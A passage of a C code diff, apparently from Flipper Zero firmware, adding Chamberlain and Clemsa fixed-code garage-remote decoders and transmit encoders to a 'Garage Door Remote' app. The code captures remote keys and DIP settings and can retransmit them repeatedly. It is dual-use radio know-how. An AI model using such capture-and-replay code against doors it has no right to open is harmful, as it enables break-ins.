+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit >
+           subghz_protocol_chamb_code_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_chamb_code_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_chamb_code_stop(void* context) {
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context) {
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolDecoderChamb_Code));
+    instance->base.protocol = &subghz_protocol_chamb_code;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_chamb_code_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_chamb_code_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+}
+
+static bool subghz_protocol_chamb_code_to_bit(uint64_t* data, uint8_t size) {
+    uint64_t data_tmp = data[0];
+    uint64_t data_res = 0;
+    for(uint8_t i = 0; i < size; i++) {
+        if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_0) {
+            bit_write(data_res, i, 0);
+        } else if((data_tmp & 0xFll) == CHAMBERLAIN_CODE_BIT_1) {
+            bit_write(data_res, i, 1);
+        } else {
+            return false;
+        }
+        data_tmp >>= 4;
+    }
+    data[0] = data_res;
+    return true;
+}
+
+static bool subghz_protocol_decoder_chamb_code_check_mask_and_parse(
+    SubGhzProtocolDecoderChamb_Code* instance) {
+    furi_assert(instance);
+    if(instance->decoder.decode_count_bit >
+       subghz_protocol_chamb_code_const.min_count_bit_for_found + 1)
+        return false;
+
+    if((instance->decoder.decode_data & CHAMBERLAIN_7_CODE_MASK) ==
+       CHAMBERLAIN_7_CODE_MASK_CHECK) {
+        instance->decoder.decode_count_bit = 7;
+        instance->decoder.decode_data &= ~CHAMBERLAIN_7_CODE_MASK;
+        instance->decoder.decode_data = (instance->decoder.decode_data >> 12) |
+                                        ((instance->decoder.decode_data >> 4) & 0xF);
+    } else if(
+        (instance->decoder.decode_data & CHAMBERLAIN_8_CODE_MASK) ==
+        CHAMBERLAIN_8_CODE_MASK_CHECK) {
+        instance->decoder.decode_count_bit = 8;
+        instance->decoder.decode_data &= ~CHAMBERLAIN_8_CODE_MASK;
+        instance->decoder.decode_data = instance->decoder.decode_data >> 4 |
+                                        CHAMBERLAIN_CODE_BIT_0 << 8; //DIP 6 no use
+    } else if(
+        (instance->decoder.decode_data & CHAMBERLAIN_9_CODE_MASK) ==
+        CHAMBERLAIN_9_CODE_MASK_CHECK) {
+        instance->decoder.decode_count_bit = 9;
+        instance->decoder.decode_data &= ~CHAMBERLAIN_9_CODE_MASK;
+        instance->decoder.decode_data >>= 4;
+    } else {
+        return false;
+    }
+    return subghz_protocol_chamb_code_to_bit(
+        &instance->decoder.decode_data, instance->decoder.decode_count_bit);
+}
+
+void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    switch(instance->decoder.parser_step) {
+    case Chamb_CodeDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 39) <
+                        subghz_protocol_chamb_code_const.te_delta * 20)) {
+            //Found header Chamb_Code
+            instance->decoder.parser_step = Chamb_CodeDecoderStepFoundStartBit;
+        }
+        break;
+    case Chamb_CodeDecoderStepFoundStartBit:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
+                       subghz_protocol_chamb_code_const.te_delta)) {
+            //Found start bit Chamb_Code
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                            CHAMBERLAIN_CODE_BIT_STOP;
+            instance->decoder.decode_count_bit++;
+            instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+        } else {
+            instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+        }
+        break;
+    case Chamb_CodeDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration > subghz_protocol_chamb_code_const.te_short * 5) {
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_chamb_code_const.min_count_bit_for_found) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+                    if(subghz_protocol_decoder_chamb_code_check_mask_and_parse(instance)) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepCheckDuration;
+            }
+        } else {
+            instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+        }
+        break;
+    case Chamb_CodeDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF( //Found stop bit Chamb_Code
+                    instance->decoder.te_last,
+                    subghz_protocol_chamb_code_const.te_short * 3) <
+                subghz_protocol_chamb_code_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
+                subghz_protocol_chamb_code_const.te_delta)) {
+                instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                                CHAMBERLAIN_CODE_BIT_STOP;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short * 2) <
+                 subghz_protocol_chamb_code_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 2) <
+                 subghz_protocol_chamb_code_const.te_delta)) {
+                instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                                CHAMBERLAIN_CODE_BIT_1;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short) <
+                 subghz_protocol_chamb_code_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 3) <
+                 subghz_protocol_chamb_code_const.te_delta)) {
+                instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                                CHAMBERLAIN_CODE_BIT_0;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+            }
+
+        } else {
+            instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit >
+           subghz_protocol_chamb_code_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%03lX\r\n"
+        "Yek:0x%03lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_lo,
+        code_found_reverse_lo);
+
+    switch(instance->generic.data_count_bit) {
+    case 7:
+        furi_string_cat_printf(
+            output,
+            "DIP:" CHAMBERLAIN_7_CODE_DIP_PATTERN "\r\n",
+            CHAMBERLAIN_7_CODE_DATA_TO_DIP(code_found_lo));
+        break;
+    case 8:
+        furi_string_cat_printf(
+            output,
+            "DIP:" CHAMBERLAIN_8_CODE_DIP_PATTERN "\r\n",
+            CHAMBERLAIN_8_CODE_DATA_TO_DIP(code_found_lo));
+        break;
+    case 9:
+        furi_string_cat_printf(
+            output,
+            "DIP:" CHAMBERLAIN_9_CODE_DIP_PATTERN "\r\n",
+            CHAMBERLAIN_9_CODE_DATA_TO_DIP(code_found_lo));
+        break;
+
+    default:
+        break;
+    }
+}

applications/system/Garage Door Remote/protocols/chamberlain_code.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CHAMB_CODE_NAME "Cham_Code"
+
+typedef struct SubGhzProtocolDecoderChamb_Code SubGhzProtocolDecoderChamb_Code;
+typedef struct SubGhzProtocolEncoderChamb_Code SubGhzProtocolEncoderChamb_Code;
+
+extern const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder;
+extern const SubGhzProtocol subghz_protocol_chamb_code;
+
+/**
+ * Allocate SubGhzProtocolEncoderChamb_Code.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderChamb_Code* pointer to a SubGhzProtocolEncoderChamb_Code instance
+ */
+void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ */
+void subghz_protocol_encoder_chamb_code_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ */
+void subghz_protocol_encoder_chamb_code_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderChamb_Code.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderChamb_Code* pointer to a SubGhzProtocolDecoderChamb_Code instance
+ */
+void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ */
+void subghz_protocol_decoder_chamb_code_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ */
+void subghz_protocol_decoder_chamb_code_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/clemsa.c

@@ -0,0 +1,362 @@
+#include "clemsa.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+// protocol BERNER / ELKA / TEDSEN / TELETASTER
+#define TAG "SubGhzProtocolClemsa"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'),     \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_clemsa_const = {
+    .te_short = 385,
+    .te_long = 2695,
+    .te_delta = 150,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderClemsa {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderClemsa {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    ClemsaDecoderStepReset = 0,
+    ClemsaDecoderStepSaveDuration,
+    ClemsaDecoderStepCheckDuration,
+} ClemsaDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder = {
+    .alloc = subghz_protocol_decoder_clemsa_alloc,
+    .free = subghz_protocol_decoder_clemsa_free,
+
+    .feed = subghz_protocol_decoder_clemsa_feed,
+    .reset = subghz_protocol_decoder_clemsa_reset,
+
+    .get_hash_data = subghz_protocol_decoder_clemsa_get_hash_data,
+    .serialize = subghz_protocol_decoder_clemsa_serialize,
+    .deserialize = subghz_protocol_decoder_clemsa_deserialize,
+    .get_string = subghz_protocol_decoder_clemsa_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder = {
+    .alloc = subghz_protocol_encoder_clemsa_alloc,
+    .free = subghz_protocol_encoder_clemsa_free,
+
+    .deserialize = subghz_protocol_encoder_clemsa_deserialize,
+    .stop = subghz_protocol_encoder_clemsa_stop,
+    .yield = subghz_protocol_encoder_clemsa_yield,
+};
+
+const SubGhzProtocol subghz_protocol_clemsa = {
+    .name = SUBGHZ_PROTOCOL_CLEMSA_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_clemsa_decoder,
+    .encoder = &subghz_protocol_clemsa_encoder,
+};
+
+void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderClemsa* instance = malloc(sizeof(SubGhzProtocolEncoderClemsa));
+
+    instance->base.protocol = &subghz_protocol_clemsa;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_clemsa_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderClemsa* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderClemsa instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_clemsa_get_upload(SubGhzProtocolEncoderClemsa* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_long);
+        }
+    }
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_clemsa_const.te_short +
+                subghz_protocol_clemsa_const.te_long * 7);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_clemsa_const.te_long +
+                subghz_protocol_clemsa_const.te_long * 7);
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderClemsa* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_clemsa_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_clemsa_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_clemsa_stop(void* context) {
+    SubGhzProtocolEncoderClemsa* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_clemsa_yield(void* context) {
+    SubGhzProtocolEncoderClemsa* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderClemsa* instance = malloc(sizeof(SubGhzProtocolDecoderClemsa));
+    instance->base.protocol = &subghz_protocol_clemsa;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_clemsa_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_clemsa_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    instance->decoder.parser_step = ClemsaDecoderStepReset;
+}
+
+void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case ClemsaDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
+                        subghz_protocol_clemsa_const.te_delta * 25)) {
+            instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        }
+        break;
+
+    case ClemsaDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = ClemsaDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = ClemsaDecoderStepReset;
+        }
+        break;
+
+    case ClemsaDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
+                subghz_protocol_clemsa_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_long) <
+                subghz_protocol_clemsa_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
+                 subghz_protocol_clemsa_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short) <
+                 subghz_protocol_clemsa_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
+                subghz_protocol_clemsa_const.te_delta * 25) {
+                if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
+                   subghz_protocol_clemsa_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
+                    subghz_protocol_clemsa_const.te_delta * 3) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.parser_step = ClemsaDecoderStepReset;
+                }
+
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_clemsa_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+
+            } else {
+                instance->decoder.parser_step = ClemsaDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = ClemsaDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_clemsa_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = (instance->data >> 2) & 0xFFFF;
+    instance->btn = (instance->data & 0x03);
+}
+
+uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_clemsa_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    subghz_protocol_clemsa_check_remote_controller(&instance->generic);
+    //uint32_t data = (uint32_t)(instance->generic.data & 0xFFFFFF);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%05lX   Btn:%X\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "\r\n"
+        "  -:   " DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0x3FFFF),
+        instance->generic.btn,
+        SHOW_DIP_P(instance->generic.serial, DIP_P),
+        SHOW_DIP_P(instance->generic.serial, DIP_O),
+        SHOW_DIP_P(instance->generic.serial, DIP_N));
+}

applications/system/Garage Door Remote/protocols/clemsa.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CLEMSA_NAME "Clemsa"
+
+typedef struct SubGhzProtocolDecoderClemsa SubGhzProtocolDecoderClemsa;
+typedef struct SubGhzProtocolEncoderClemsa SubGhzProtocolEncoderClemsa;
+
+extern const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder;
+extern const SubGhzProtocol subghz_protocol_clemsa;
+
+/**
+ * Allocate SubGhzProtocolEncoderClemsa.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderClemsa* pointer to a SubGhzProtocolEncoderClemsa instance
+ */
+void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderClemsa.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ */
+void subghz_protocol_encoder_clemsa_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ */
+void subghz_protocol_encoder_clemsa_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_clemsa_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderClemsa.
